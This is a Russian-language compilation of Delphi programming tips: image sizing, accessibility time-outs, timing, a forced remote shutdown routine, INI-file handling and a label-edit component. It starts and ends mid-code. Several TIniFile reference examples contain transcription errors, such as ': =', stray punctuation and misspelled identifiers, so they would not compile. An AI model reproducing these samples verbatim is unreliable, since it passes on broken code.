function SetImageSize(Img: TImage; SizePercent: Integer): TImageSizeParams;
var
ImageSizeParams: TImageSizeParams;
implementation
//Обнуление полей переменной типа TImageSizeParams
function ClearImageSizeParams: TImageSizeParams;
begin
Result.OldImgWidth := 0;
Result.OldImgHeight := 0;
Result.OldImageLeft := 0;
Result.OldImageTop := 0;
Result.NewImgWidth := 0;
Result.NewImgHeight := 0;
Result.NewImageLeft := 0;
Result.NewImageTop := 0;
Result.NewImgSizePercent := 0;
end;
//Получение параметров рисунка до и после преобразований
function GetImageSizeParams(Img: TImage; TimeState: TTimeState):
TImageSizeParams;
begin
if img = nil then
begin
result := ClearImageSizeParams;
ImageSizeParams := Result;
exit;
end;
if TimeState = tsBefore then
begin
ImageSizeParams := ClearImageSizeParams;
result.OldImgWidth := img.Width;
Result.OldImgHeight := img.Height;
result.OldImageLeft := img.Left;
result.OldImageTop := img.Top;
end;
if TimeState = tsAfter then
begin
Result := ImageSizeParams;
Result.NewImgWidth := img.Width;
Result.NewImgHeight := img.Height;
result.NewImageLeft := img.Left;
result.NewImageTop := img.Top;
Result.NewImgSizePercent := Round(Result.NewImgWidth / Result.OldImgWidth *
100);
end;
ImageSizeParams := Result;
end;
//Подбор оптимального размера рисунка, в соответствии с областью на которой он расположен
function FitBestSize(Img: Timage): TImageSizeParams;
var
h, w, i, x, y: Integer;
K, b, a: Double;
begin
if Img = nil then
exit;
try
Result := ClearImageSizeParams;
Img.AutoSize := True;
Img.AutoSize := False;
GetImageSizeParams(Img, tsBefore);
h := img.picture.Height;
w := img.picture.Width;
i := 0;
repeat
x := img.Parent.clientwidth - w;
y := img.Parent.clientheight - h;
i := i + 1;
k := w / h;
if y < x then
begin
b := y;
h := h + Round(b);
a := H * k - W;
w := w + Round(a);
end;
if y >= x then
begin
a := x;
w := w + Round(a);
b := (w / k) - H;
h := h + Round(b);
end;
until (w < img.Parent.width) or (h < img.Parent.height) or (i >= 2);
img.Stretch := true;
img.Width := w;
img.height := h;
Result := GetImageSizeParams(Img, tsAfter);
except
end;
end;
//Центрирование рисунка в области, на которой он расположен
function CenterImage(Img: TImage): TImageSizeParams;
begin
Result := ClearImageSizeParams;
if Img = nil then
exit;
GetImageSizeParams(img, tsBefore);
img.left := (Img.parent.Width div 2) - (img.Width div 2);
img.Top := (Img.parent.Height div 2) - (img.height div 2);
Result := GetImageSizeParams(img, tsAfter);
end;
//Процентное изменение размера рисунка
function SetImageSize(Img: TImage; SizePercent: Integer): TImageSizeParams;
var
K: Double;
nw, nh: Integer;
begin
Result := ClearImageSizeParams;
if Img = nil then
exit;
if SizePercent < 0 then
exit;
Img.AutoSize := True;
Img.AutoSize := False;
GetImageSizeParams(img, tsBefore);
try
K := img.height / img.width;
except exit;
end;
nw := Round(img.Width * SizePercent / 100);
nh := round(nw * k);
img.Stretch := true;
img.Width := nw;
img.Height := nh;
Result := GetImageSizeParams(img, tsAfter);
end;
end.
Получить или установить допустимые периоды истечения времени.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Retrieves information about the time-out period associated
with the accessibility features.
The pvParam parameter must point to an ACCESSTIMEOUT
structure that receives the information.
Set the cbSize member of this structure and the
uiParam parameter to SizeOf(ACCESSTIMEOUT).
}
{
Ermittelt die maximale Zeit wo der Benutzer keine Eingaben macht bei den
Eingabehilfen. "uiParam" muss die Gro?e der Struktur
ACCESSTIMEOUT sein und "pvParam" muss eine ACCESSTIMEOUT-Struktur
ubergeben werden, die gefullt wird.
}
// ACCESSTIMEOUT structure
type
TAccessTimeOut = record
cbSize: UINT;
dwFlags: DWORD;
iTimeOutMSec: DWORD;
end;
procedure GetAccessTimeOut(var bTimeOut: Boolean; var bFeedBack: Boolean;
var iTimeOutTime: Integer);
// bTimeOut: the time-out period for accessibility features.
// bFeedBack: the operating system plays a descending
// siren sound when the time-out period elapses and the
// Accessibility features are turned off.
// iTimeOutTime: Timeout in ms
var
AccessTimeOut: TAccessTimeOut;
begin
ZeroMemory(@AccessTimeOut, SizeOf(TAccessTimeOut));
AccessTimeOut.cbSize := SizeOf(TAccessTimeOut);
SystemParametersInfo(SPI_GETACCESSTIMEOUT, SizeOf(AccessTimeOut), @AccessTimeOut, 0);
bTimeOut := (AccessTimeOut.dwFlags and ATF_TIMEOUTON) = ATF_TIMEOUTON;
bFeedBack := (AccessTimeOut.dwFlags and ATF_ONOFFFEEDBACK) = ATF_ONOFFFEEDBACK;
iTimeOutTime := AccessTimeOut.iTimeOutMSec;
end;
// Test it:
procedure TForm1.Button2Click(Sender: TObject);
var
bTimeOut, bFeedBack: Boolean;
iTimeOutTime: Integer;
begin
GetAccessTimeOut(bTimeOut, bFeedBack, iTimeOutTime);
label1.Caption := IntToStr(Ord(bTimeOut));
Label2.Caption := IntToStr(Ord(bFeedBack));
Label3.Caption := IntToStr(iTimeOutTime);
end;
{
Sets the time-out period associated with the accessibility features.
The pvParam parameter must point to anACCESSTIMEOUT structure that
contains the new parameters.
Set the cbSize member of this structure and the uiParam
parameter to sizeof(ACCESSTIMEOUT).
}
{
Setzt Informationen zu den ACCESSEDTIMEOUT-Eigenschaften.
"uiParam" erwartet die Gro?e der ACCESSEDTIMEOUT-Struktur,
die in "pvParam" ubergeben werden muss.
}
procedure SetAccessTimeOut(bTimeOut, bFeedBack: Boolean; iTimeOutTime: Integer);
// bTimeOut: If true, a time-out period has been set for accessibility features.
// bFeedBack: If true, the operating system plays a descending
// siren sound when the time-out period elapses and the
// accessibility features are turned off.
// iTimeOutTime: Timeout in ms
var
AccessTimeOut: TAccessTimeOut;
begin
ZeroMemory(@AccessTimeOut, SizeOf(TAccessTimeOut));
AccessTimeOut.cbSize := SizeOf(TAccessTimeOut);
case bTimeOut of
True: AccessTimeOut.dwFlags := ATF_TIMEOUTON;
False: AccessTimeOut.dwFlags := 0;
end;
if bFeedBack then
AccessTimeOut.dwFlags := AccessTimeOut.dwFlags or ATF_ONOFFFEEDBACK;
AccessTimeOut.iTimeOutMSec := iTimeOutTime;
SystemParametersInfo(SPI_SETACCESSTIMEOUT, SizeOf(AccessTimeOut),
@AccessTimeOut, SPIF_UPDATEINIFILE or SPIF_SENDWININICHANGE);
end;
// Test it:
procedure TForm1.Button1Click(Sender: TObject);
begin
SetAccessTimeOut(True, True, 600000); // 10 min. timeout
end;
Засечь время.
| И-нетчика на улице спросили: - Который час? - Если по Гринвичу - то 12, если по Московскому - то не знаю, нет часов. |
Засекание обычно нужно в двух случаях: самому программисту – узнать, как программа работает быстрее, или для информирования пользователя, сколько программа уже трудится.
Для засекания времени удобнее всего использовать функцию GetTickCount, но нельзя забывать о ее погрешности при измерении очень коротких промежутков времени, и о том, что программы в Windows работают с непостоянной скоростью. Поэтому не стоит засекать быстрые процессы, и не стоит делать выводы о каком-то алгоритме после одного тестирования. И еще. Если вы тестируете алгоритм, то поставьте его в цикл, выполнив его, например, тысячу раз, а потом получившееся время делите на тысячу. Так точнее. Эта программа засекает, сколько времени меняется цвет точек окна в этой программе.
procedure TForm1.Button1Click(Sender: TObject);
var
i, t: integer;
begin
t := GetTickCount;
randomize;
for i := 0 to 100000 do
Form1.Canvas.Pixels[i mod Form1.ClientWidth,
i div Form1.ClientWidth] :=
RGB(random(255), random(255), random(255));
Form1.Caption := IntToStr(GetTickCount - t);
end;
|
Вывести временную зону.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function GetTimeZone: string; var TimeZone: TTimeZoneInformation; begin GetTimeZoneInformation(TimeZone); Result := 'GMT ' + IntToStr(TimeZone.Bias div -60); end; procedure TForm1.Button1Click(Sender: TObject); begin label1.Caption := GetTimeZone; end;
Синхронизация завершения работы Windows.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Diese Methode funktioniert nur auf Windows NT/2000/XP
}
{
Works only on Windows NT/2000/XP systems
}
function TimedShutDown(Computer: string; Msg: string; Time: Word; Force: Boolean; Reboot: Boolean): Boolean;
var
rl: Cardinal;
hToken: Cardinal;
tkp: TOKEN_PRIVILEGES;
begin
//get user privileges to shutdown the machine, we are talking about win nt and 2k here
if not OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
ShowMessage('Cannot open process token.')
else
begin
if LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid) then
begin
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
tkp.PrivilegeCount := 1;
AdjustTokenPrivileges(hToken, False, tkp, 0, nil, rl);
if GetLastError <> ERROR_SUCCESS then
ShowMessage('Error adjusting process privileges.');
end
else
ShowMessage('Cannot find privilege value.');
end;
Result := InitiateSystemShutdown(PChar(Computer), PChar(Msg), Time, Force, Reboot)
end;
//Start shut down
procedure TForm1.Button1Click(Sender: TObject);
begin
if not TimedShutDown('\\computername', 'you have to shutdown', 30, true, true) then
ShowMessage('function failed...');
end;
//Abort shut down
procedure TForm1.Button2Click(Sender: TObject);
begin
AbortSystemShutdown('\\computername');
end;
Некоторые модификации методов ReadSection и ReadSections объекта, типа TIniFile.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Некоторые модификации методов ReadSection и ReadSections объекта, типа TIniFile
Отличие функции ReadSectionEx от метода ReadSection, объекта типа TIniFile,
заключается в том, что размер буффера для сохранения содержимого файла,
не является константой (16Кб, в модуле IniFiles.pas), а представляет собой
переменную величину, значение которой равно размеру файла инициализации
(IniFileName). Таким образом решается проблема, с нехваткой выдыленного
размера оперативной памяти для операции чтения содержимого секции (SectionName).
Так же, в случае успешнонго выполнения чтения секции Ini-файла, функция
возвращает количество строк в заполненном списке (Strings)
Функция ReadSectionsEx имеет те же отличия от метода ReadSection, что и функция
ReadSectionEx от метода ReadSection. Функция ReadSectionsEx помещает в список
Strings все секции указанного INI-файла (IniFileName)
Зависимости: Windows, SysUtils, Classes, IniFiles
Автор: VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright: VID (базируется на коде соответствующих методов, в модуле IniFiles.pas)
Дата: 24 мая 2002 г.
***************************************************** }
unit INIExtension;
interface
uses Windows, SysUtils, Classes, IniFiles;
function ReadSectionsEx(IniFileName: string; Strings: TStrings): Integer;
function ReadSectionEx(IniFileName: string; SectionName: string;
Strings: TStrings): Integer;
implementation
function ReadSectionsEx(IniFileName: string; Strings: TStrings): Integer;
var
BufSize: Integer;
SR: TSearchRec;
buffer, P: Pchar;
begin
Result := -1;
if not FileExists(IniFileName) then
EXIT;
FindFirst(IniFileName, faAnyFile, SR);
BufSize := Sr.Size;
FindClose(SR);
GetMem(Buffer, BufSize);
try
Strings.BeginUpdate;
try
Strings.Clear;
if GetPrivateProfileSectionNames(buffer, BufSize,
Pchar(IniFileName)) <> 0 then
begin
P := Buffer;
while P^ <> #0 do
begin
Strings.Add(P);
Inc(P, StrLen(P) + 1);
end;
end;
Result := Strings.Count;
finally
Strings.EndUpdate;
end;
finally
FreeMem(Buffer, BufSize)
end;
end;
function ReadSectionEx(IniFileName: string; SectionName: string;
Strings: TStrings): Integer;
var
BufSize: Integer;
SR: TSearchRec;
buffer, P: Pchar;
begin
Result := -1;
FindFirst(IniFileName, faAnyFile, SR);
BufSize := Sr.Size;
FindClose(SR);
GetMem(Buffer, BufSize);
try
Strings.BeginUpdate;
try
Strings.Clear;
if GetPrivateProfileString(PChar(SectionName), nil, nil, Buffer, BufSize,
PChar(IniFileName)) <> 0 then
begin
P := Buffer;
while P^ <> #0 do
begin
Strings.Add(P);
Inc(P, StrLen(P) + 1);
end;
end;
Result := Strings.Count;
finally
Strings.EndUpdate;
end;
finally
FreeMem(Buffer, BufSize)
end;
end;
end.
Пример использования:
var
TargetList: TStringList;
Ini: TIniFile;
begin
TargetList := TStringList.create;
Ini := TiniFile.create('system.ini');
//Заполняем список TargetList параметрами секции boot
ReadSectionEx(Ini.FileName, 'Boot', TargetList);
//Заполняем список TargetList именами всех секций
ReadSectionsEx(Ini.FileName, TargetList);
Ini.Free;
TargetList.Free;
end;
TIniFile.
Оформил: DeeCo
В то время как Microsoft, без сомнений, хотела бы навсегда устранить INI-файлы из Windows и заставить разработчиков приложений хранить информацию в Registry, становится ясно, что какое-то время INI-файлы еще просуществуют. INI-файлы являются простыми текстовыми файлами с расширением .INI, обычно хра- нящимися в каталоге Windows. Они разработаны для запоминания информации о прикладных программах, их параметрах, конфигурации, положении окон и т.п. По мере роста популярности Windows и роста числа поддерживаемых приложений, большинство пользователей обзавелось десятками INI-файлов, засоряющих жесткий диск. К счастью, они не требуют много места и по-прежнему являются удобным способом запоми- нания параметров конфигурации. Таким образом, INI-файлы реально экономят время. Если вы разрабатываете большое и сложное приложение со многими конфигурируемыми пользователем параметрами, то все-таки лучше воспользоваться доступом к Windows Registry при помощи класса TRegistry, чем полагаться на рудиментарные INI-файлы, так распространенные в старых версиях Windows. TRegistry освещается в главе 6, "TRegistry и TRegIniFile." INI-файлы инкапсулируются классом , который является прямым конечным потомком TObject. Для использования класса и любого его члена необходимо включить IniFiles в пункт uses того модуля, который получает доступ к INI-файлам. INI-файлы разделены на поименованные разделы, содержащие идентификаторы. Каждому идентифика- тору можно присвоить значение. Обычно значение является двоичным, целым или строковым. В листинге 4-1, фрагменте типичного файла WIN.INI, разделы идентифицируются квадратными скобками, окружающими имя каждого раздела. WIN.INI использован только как пример. Ваше приложение, как правило, должно поддерживать собственный INI-файл. Листинг 4-1 Раздел типичного файла WIN.INI[windows] run = NullPort = None load = device = LaserJet 5 P, HPPCL5MS, LPT1: [desktop] Wallpaper = (None) TileWallpaper = 1 WallpaperStyle = O Pattern = (None) [Intl] iCountry = 1 ICurrDigits = 2 iCurrency = 0 iDate = 0 iDigits = 2 iLZero = 1 iMeasure = 1 iNegCurr = 0 iTime = 0 iTLZero = 0Как видно из примера, идентификаторы отделены от своих значений знаком равенства и имеют вид идентификатор=значение. Такое выражение известно как ключ. Таблица 4-1 показывает свойства и методы, реализуемые . Таблица 4-1 Методы и свойства реализуемые TIniFile Использовать или установить это ... Чтобы сделать это ... Наследование Create Сконструировать экземпляр TIniFile. TObject DeleteKey Удалить идентификатор INI-файла и его значение. Нет EraseSection Убрать из INI-файла целый раздел. Нет FileName Получить инкапсулированное имя INI-файла. Нет ReadBool Извлечь из INI-файла логическое значение. Нет Readinteger Извлечь из INI-файла целое значение. Нет ReadSection Извлечь из раздела INI-файла имена идентификаторов. Нет ReadSections Извлечь из INI-файла список имен разделов. Нет ReadSectionValues Извлечь из INI-файла все содержимое раздела. Нет ReadString Извлечь из INI-файла строковое значение. Нет WriteBool Записать в INI-файл логическое значение. Нет Writeinteger Записать в INI-файл целое значение Нет WriteString Записать в INI-файл строковое значение Нет
Важно.
Методы ТIniFi1е будут пытаться найти INI-файл в каталоге Windows (обычно c:\WINDOWS в Windows 95 или c:WINNT в Windows NT). Если вы хотите читать или писать INI-файл, расположенный не в каталоге Windows, следует явно добавить путь к имени INI-файла при его открытии в Create.Метод Create.
Затрагиваемые объектыНазначение Метод Create создает экземпляр , который позволяет манипулировать INI-файлом. Объявление constructor Create (const FileName: string); Параметры FileName Имя INI-файла, с которым ассоциируется объект . Пример синтаксиса procedure TForm1.FormCreate (Sender: TObject); var MyIni: TIniFile; begin //создание экземпляра Myini и присвоение ему //INI-файла MyIni : = TIniFile; Create('TEST.INI'); // *** Здесь выполнить обработку INI-файла *** MyIni.Free; end; Описание; Create конструирует объект , распределяя для него достаточный объем памяти. Единственный параметр, fileName, содержит Windows имя файла действительного INI-файла. Если к имени файла не добавлен путь, программа будет искать файл в каталоге Windows (обычно c:\WINDOWS или c:\WINNT).Метод DeleteKey.
Затрагиваемые объектыНазначение Метод DeleteKey удаляет ключ из INI-файла. Объявление procedure DeleteKey(const Section, Ident: String); Параметры Section Раздел INI-файла, который содержит ключ. Ident Имя удаляемого идентификатора. Пример синтаксиса
procedure TForm1.Button1Click(Sender: TObject);
var
Myini: TIniFile;
begin
MyIni: = TIniFile.Create('DELETE.INI');
// Удалить ключ, содержащий идентификатор Option1 из раздела
// Main INI-файла
MyIni.DeleteKey('Main', 'Option1');
MyIni.Free;
end;
Описание
DeleteKey очищает целый ключ, идентификатор и его значение.
Метод EraseSection.
Затрагиваемые объектыНазначение Метод EraseSection удаляет указанный раздел INI-файла. Объявление procedure ErageSection(const Section: string); Параметры Section Имя раздела, подлежащего удалению. Пример синтаксиса
// данная процедура откроет INI-файл с именем " TEST.INI", найденный в
// каталоге Windows, и удалит раздел под названием Configuration
procedure TForm1.Button1Click(Sender: TObject);
// объявление переменной типа TIniFile под названием MyIni
var
MyIni: TIniFile;
begin
// создание экземпляра MyIni и присвоение ему INI-файла
MyIni := TIniFile.Create('TEST.INI');
// Удалить раздел в TEST.INI под названием Configuration
MyIni.EraseSection('Configuration');
MyIni.Free;
end;
Описание
EraseSection удаляет весь раздел INI-файла. Имена разделов отмечаются квадратными скобками, поэтому раздел Configuration, использованный выше, должен выглядеть в файле TEST.INI следующим образом: [Configuration] Keyl Кеу2 и т.д.Раздел продолжается до имени следующего раздела или до конца файла в зависимости от того, что будет достигнуто раньше.
Свойство FileName.
Затрагиваемые объектыНазначение Метод TFileName содержит имя файла, инкапсулированное объектом . Объявление property FileName: string; Пример Синтаксиса
// данная процедура будег печатать имя INI-файла,
// инкапсулированное в объекте TIniFile
procedure TForm1.Button1Click(Sender: TObject);
var
MyIni: TIniFile;
begin
// создание экзенпляра MyIni и присвоение ему INI-файла
MyIni: = TIniFile.Create('TEST.INI');
// печатать имя INI-файла в заголовке формы
Form1.Caption := MyIni.FileName;
MyIni.Free;
end;
Описание
FileName является свойством времени выполнения, предназначенным только для чтения, и содержит имя INI-файла, инкапсулированное в экземпляре .
Свойство ReadBool.
Затрагиваемые объектыНазначение Свойство ReadBool получает двоичное значение из INI-файла. Объявление function ReadBool (const Section, Ident: stringn; Default: Boloean) : Boolean; Параметры Section Имя раздела, в котором расположен идентификатор. Ident Идентификатор, подлежащий считыванию. Default Значение идентификатора по умолчанию. Пример Синтаксиса
// Данная процедура проверяет идентификатор TileWallpaper раздела Desktop
// в файле WIN.INI. Затем устанавливается заголовок формы, указывающий
// на то, включена (on) или выключена (off) опция TileWallpaper.
procedure TForm1.FormCreate(Sender: TObject);
var
MyIni: TIniFile;
begin
MyIni: = TIniFile.Create('Win.ini');
if MyIni.ReadBool('Desktop', 'TileWallpaper', True) = True then
Form1.Caption := 'Your desktop wallpaper is tiled';
else
Form1.Caption: = 'Your desktop wallpaper is not tiled';
MyIni.Free;
end;
Описание
ReadBool извлекает из идентификатора в INI-файле логическое значение.
В приведенном примере анализируется идентификатор TileWallpaper раздела [Desktop] в WIN.INI и возвращается содержащееся в нем значение. Значение 1 указывает на True, 0 = на False. ReadBool похожа на Readinteger и ReadString в том, что все они возвращают значение, содержащееся в указанном идентификаторе в INI-файле.
Метод ReadInteger.
Затрагиваемые объектыНазначение Метод Readinteger возвращает целое значение из INI-файла. Объявление function Readlnteger(const Section, Ident: string; Default: Longint): liongint; Параметры Section Имя раздела, в котором расположен идентификатор. Ident Идентификатор, подлежащий считыванию. Default Значение идентификатора по умолчанию. Пример синтаксиса
// Данная процедура проверяет идентификатор iCountry раздела Inti
// в файле WIN.INI. Затем устанавливается заголовок формы,
// указывакщий на то, находитесь ли вы в Соединенных Штатах или нет.
procedure TForm1.FormCreate(Sender: TObject);
var
MyIni: TIniFile;
begin
MyIni := TIniFile.Create('win.ini');
if MyIni.ReadInteger('Intl', 'iCountry', 1) = I then
Form1.Caption := 'Your are in the Onited States';
else
Form1.Caption: = 'Your are not in the United States';
MyIni.Free;
end;
Описание
ReadInteger извлекает из идентификатора в INI-файле целочисленное значение. В приведенном примере анализируется идентификатор iCountry раздела [Inti] в WIN.INI. Если идентификатор iCountry установлен в 1, это означает, что Control Panel Regional Settings установлены в конфигурацию Соединенных Штатов. ReadInteger похожа на ReadBool и ReadString в том, что все они возвращают значение, содержащееся в указанном идентификаторе в INI-файле.
Метод ReadSection.
Затрагиваемые объектыНазначение Метод ReadSection извлекает имена всех идентификаторов заданного раздела в INI-файле и запоминает их в строковом объекте. Объявление procedure ReadSection (const Section: string; Strings: Tstrfngs) ; Параметры Section Имя читаемого раздела. Strings Список строк, где будут запомнены значения. Пример синтаксиса
// Прежде всего добавим в форму ListBox. Данная процедура будет
// печатать список идентификаторов в разделе Desktop файла
// WIN.INI при создании формы
procedure TForm1.FormCreate(Sender: TObject);
var
MyIni: TIniFile;
begin
MyIni: = TIniFile.Create('WIN.INI');
MyIni.ReadSection('Desktop', ListBox1.Items);
MyIni.Free;
end;
Описание ReadSection извлекает имена идентификаторов в указанном разделе INI-файла и помещает их в строковый объект. Список можно поместить непосредственно в список строковых компонентов (как в свойство Items окна списка) или в независимый список строк. ReadSection не извлекает значения идентификаторов, но извлекает имена идентификаторов. Для извлечения идентификаторов и их текущих значений можно использовать ReadSectionValues. На рисунке 4-2 при помощи ReadSection отображен типичный раздел INI-файла.
Метод ReadSections.
Затрагиваемые объектыНазначение Метод ReadSections копирует все имена разделов в INI-файле в строковый объект. Объявление procedure ReadSections (Strings: TStrings) ; Параметры Strings Список имен разделов. Пример Синтаксиса
// Данный обработчик события при нажатии кнопки печатает имена
// разделов INI-файла в окне списка
procedure TForm1.Button1Click(Sender: TObject);
var
MyIni: TIniFile;
begin
ListBox1.Clear;
MyIni := TIniFile.Create('test.ini');
MyIni.ReadSections(listBox1.Items);
MyIni.Free;
end;
Описание Строковый объект является списком строк, используемым компонентами (такими как окна списков), которым необходимо манипулировать со многими строками. ReadSections запоминает список имен разделов INI-файла в параметре Strings. В вышеприведенном примере кода данный список передается свойству Items окна списка, который также имеет тип TStrings. РИСУНОК 4-2 Окно списка отображает идентификаторы в разделе [Desktop] файла WIN.INI.
Метод ReadSectionValues.
Затрагиваемые объектыНазначение Метод ReadSectionValues извлекает из заданного раздела INI-файла все ключи. Объявление procedure ReadSectionValues (const Section: string; Strings; TStrings); Параметры Section Имя читаемого раздела. Strings Список строк, в котором запоминаются идентификаторы и их значения. Пример синтаксиса
// Прежде всего добавим к форме ListBox. Данная процедура будет
// печатать список идентификаторов и их значений из раздела
// Desktop файла WIN.INI при создании формы
procedure TForm1.FormCreate(Sender: TObject);
var
MyIni: TIniFile;
begin
MyIni := TIniFile.Create('WIN.INI').
MyIni.ReadSectionValues('Desktop', ListBox1.Items);
MyIni.Free;
end;
Описание
ReadSectionValues извлекает из раздела INI-файла все ключи и запоминает их в строковом объекте точно так же, как они появляются в INI-файле:
identifier=value
В приведенном выше примере в окне списка отображается весь список (см. рис. 4-3). Используя свойство Values из TString можно отобразить отдельные значения. Или же можно скопировать весь раздел в список строк и получить доступ к каждой строке по индексу:
// В данном примере раздел Desktop файла WIN.INI считывается в
// список строк и затем в заголовке формы печатается первая
// строка. При этом используется ее индекс.
procedure TForm1.FormCreate(Sender: TObject);
var
MyIni: TIniFile;
MyStringList: TStringList;
begin
MyIni := TIniFile.Create('WIN.INI');
// получение экземпляра списка строк
MyStringList := TStringList.Create;
// копировать раздел в список строк
MyIni.ReadSectionValues('Desktop', MyStringList);
// печатать первую строку списка в заголовке формы
Form1.Caption := MyStringList.Strings[0];
MyIni.Free;
MyStringList.Free;
end;
Результат показан на рисунке 4-4.
Метод ReadString.
Затрагиваемые объектыНазначение Метод ReadString считывает строковое значение из идентификатора в указанном разделе INI-файла. Объявление function ReadString(const Section, Jdent, Default: string): string; Параметры Section Имя раздела, в котором расположен идентификатор Ident Идентификатор, подлежащий считыванию. Default Значение идентификатора по умолчанию (возвращается, если идентификатор не найден). Пример синтаксиса
// Данная процедура проверяет идентификатор sCountry раздела Intl
// в файле WIN.INI. Затем устанавливается заголовок формы в значении
// идентификатора sCountry.
procedure TForm1.FormCreate(Sender: TObject);
var
MyIni;
TIniFile;
begin
MyIni := TIniFile.Create('Win.ini');
Form1.Caption := MyIni.ReadString('Intl', 'sCountry', 'no country listed');
// не забудьте по завершении работи разрушить MyIni
MyIni.Free;
end;
Описание
ReadString извлекает строковое значение из идентификатора в INI-файле. В приведенном выше примере программа получает идентификатор с именем sCountry в разделе файла WIN.INI и печатает его значение в заголовке формы. ReadString похожа на ReadBool и Readinteger в том, что все они возвращают значения, содержащиеся в указанных идентификаторах INI-файла.
РИСУНОК 4-3 Окно списка отображает идентификаторы и их значения в разделе [Desktop] файла WIN.INI.
РИСУНОК 4-4 Получение отдельных идентификаторов вместе со значениями и печать в заголовке формы.
Метод WriteBool.
Затрагиваемые объектыНазначение Метод WriteBool записывает логическое значение в идентификатор в указанном разделе INI-файла. Объявление procedure WriteBool (const Section, Ident: string; Value: Boolean); Параметры Section Имя раздела, в котором расположен идентификатор. Ident Идентификатор, подлежащий записи. Value Значение, записываемое в идентификатор. Пример синтаксиса
// Данная процедура создает новый INI-файл с именем TEST.INI
// (если он еще не существует) и добавляет двоичный идентификатор
// SampleBooleanEntry со значением True. Если идентификатора нет,
// он также будет создан.
procedure TForm1.FormCreate(Sender: TObject);
var
Writeini: TIniFile;
begin
Writeini: = TIniFile.Create('TEST.INI');
Writeini.WriteBool('Sample Section', 'SampleBooleanEntry', True);
Writeini.Free;
end;
Описание
WriteBool записывает в INI-файл логическое значение, заданное параметром Value. Раздел и идентификатор, куда будет записываться значение, определяются параметрами Section и Ident. Если раздел или идентификатор не существуют, они создаются. После запуска приведенного примера в каталоге Windows можно будет открыть вновь созданный TEST.INI, в котором будут представлены такие строки: [Sample Section] SampleBooleanEntry = 1WriteBool используется так же, как Writeinteger и WriteString, = с единственным различием в типе записываемого значения.
Метод Writeinteger.
Затрагиваемые объектыНазначение Метод Writeinteger записывает целое значение в идентификатор в указанном разделе INI-файла. Объявление procedure Writeinteger (const Section, Ident: string; Value: Longint); Параметры Section Имя раздела, в котором расположен идентификатор. Ident Идентификатор, подлежащий записи. Value Значение, записываемое в идентификатор. Пример синтаксиса
// Данная процедура создает новый INI-файл с именем TEST.INI
// (если он еще не существует) и добавляет целый идентификатор
// SampleIntegerEntry со значением 12024. Если идентификатора
// нет, он также будет создан.
procedure TForm1.FormCreate(Sender: TObject);
var
Writeini: TIniFile;
begin
Writeini := TIniFile.Create('TEST.INI');
Writeini.Writelnteger('Sample Section', 'SampleIntegerEntry', 12024);
Writeini.Free;
end;
Описание
Writeinteger записывает в INI-файл целое значение, заданное параметром Value. Раздел и идентификатор, куда будет записываться значение, определяются параметрами Section и Ident. Если раздел или идентификатор не существуют, они создаются. Если выполнить приведенный пример, в каталоге Windows можно будет открыть вновь созданный TEST.INI, в котором находятся такие строки: [Sample Section] SampleIntegerEntry = 12024Writeinteger используется так же, как WriteBool и WriteString, = с единственным отличием в типе записываемого значения.
Метод WriteString.
Затрагиваемые объектыНазначение Метод WriteString записывает строковое значение в идентификатор в указанном разделе INI-файла. Объявление procedure WriteString(const Section, Ident, Value-, string); Параметры Section Имя раздела, в котором расположен идентификатор. Ident Идентификатор, подлежащий записи. Value Значение, записываемое в идентификатор. Пример синтаксиса
// Данная процедура создает новый INI-файл с именем TEST. INI
// (если он еще не существует) и добавляет строковый
// идентификатор SampleStringEntry со значением строки. Если
// идентификатора нет, он также будет создан.
procedure TFonnI.FormCreate(Sender: TObeject);
var
Writeini: TIniFile;
begin
Writeini := TIniFile.Create('TEST. INI'), •
Writeini.WriteString('Sample Section', 'SampleStringEntry',
'this is example of writing a string to an INI file');
Writeini.Free;
end;
Описание WriteString записывает в INI-файл строковое значение, заданное параметром Value. Раздел и идентификатор, куда будет записываться значение, указываются параметрами Section и Ident. Если раздел или идентификатор не существуют, они создаются.
После выполнения приведенного примера в каталоге Windows можно будет открыть вновь созданный TEST.INI, в котором представлены такие строки: [Sample Section] SamplectringEntry = this is example of writing a string to an INI fileWriteString используется так же, как WriteBool и Writeinteger, - с единственной разницей в типе записываемого значения.
Прокрутка текста заголовка.
var
a: string;
procedure TForm1.FormCreate(Sender: TObject);
begin
a := 'Look at here !...';
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
i: Integer;
begin
Application.Title := a;
Form1.Caption := a;
for i := 1 to (Length(a) - 1) do
a[i] := Application.Title[i + 1];
a[Length(a)] := Application.Title[1];
end;
|
Комбинация TLabel и TEdit.
| - Ваш компьютер не загружается. Мы требуем, чтоб сменили процессор! А в синей таблице (имеется в виду NC) были какие-то с решётками (имеются в виду защищённые системные файлы). Наш сын хорошо в этом разбирается, они в техникуме все компьютеры проходят. Он сказал, что это сбои на винчестере, но ему удалось от них избавиться... |
unit Editlbl1;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, stdctrls;
type
TLabelEdit = class(TWinControl)
private
{ Private declarations }
FEdit: TEdit;
FLabel: TLabel;
function GetLabelCaption: string;
procedure SetLabelCaption(LabelCaption: string);
function GetEditText: string;
procedure SetEditText(EditText: string);
protected
{ Protected declarations }
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
published
property LabelCaption: string read GetLabelCaption write SetLabelCaption;
property EditText: string read GetEditText write SetEditText;
property Left;
property Top;
property Width;
property Height;
property Text;
property Font;
{ Можете опубликовать другие, необходимые вам свойства. }
{ Published declarations }
end;
procedure Register;
implementation
constructor TLabelEdit.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FEdit := TEdit.Create(self);
FLabel := TLabel.Create(self);
with FLabel do
begin
Width := FEdit.Width;
visible := true;
Parent := self;
Caption := 'LabelEdit';
end;
with FEdit do
begin
Top := FLabel.Height + 2;
Parent := self;
Visible := true;
end;
Top := 0;
Left := 0;
Width := FEdit.Width;
Height := FEdit.Height + FLabel.Height;
Visible := true;
end;
function TLabelEdit.GetLabelCaption: string;
begin
Result := FLabel.Caption;
end;
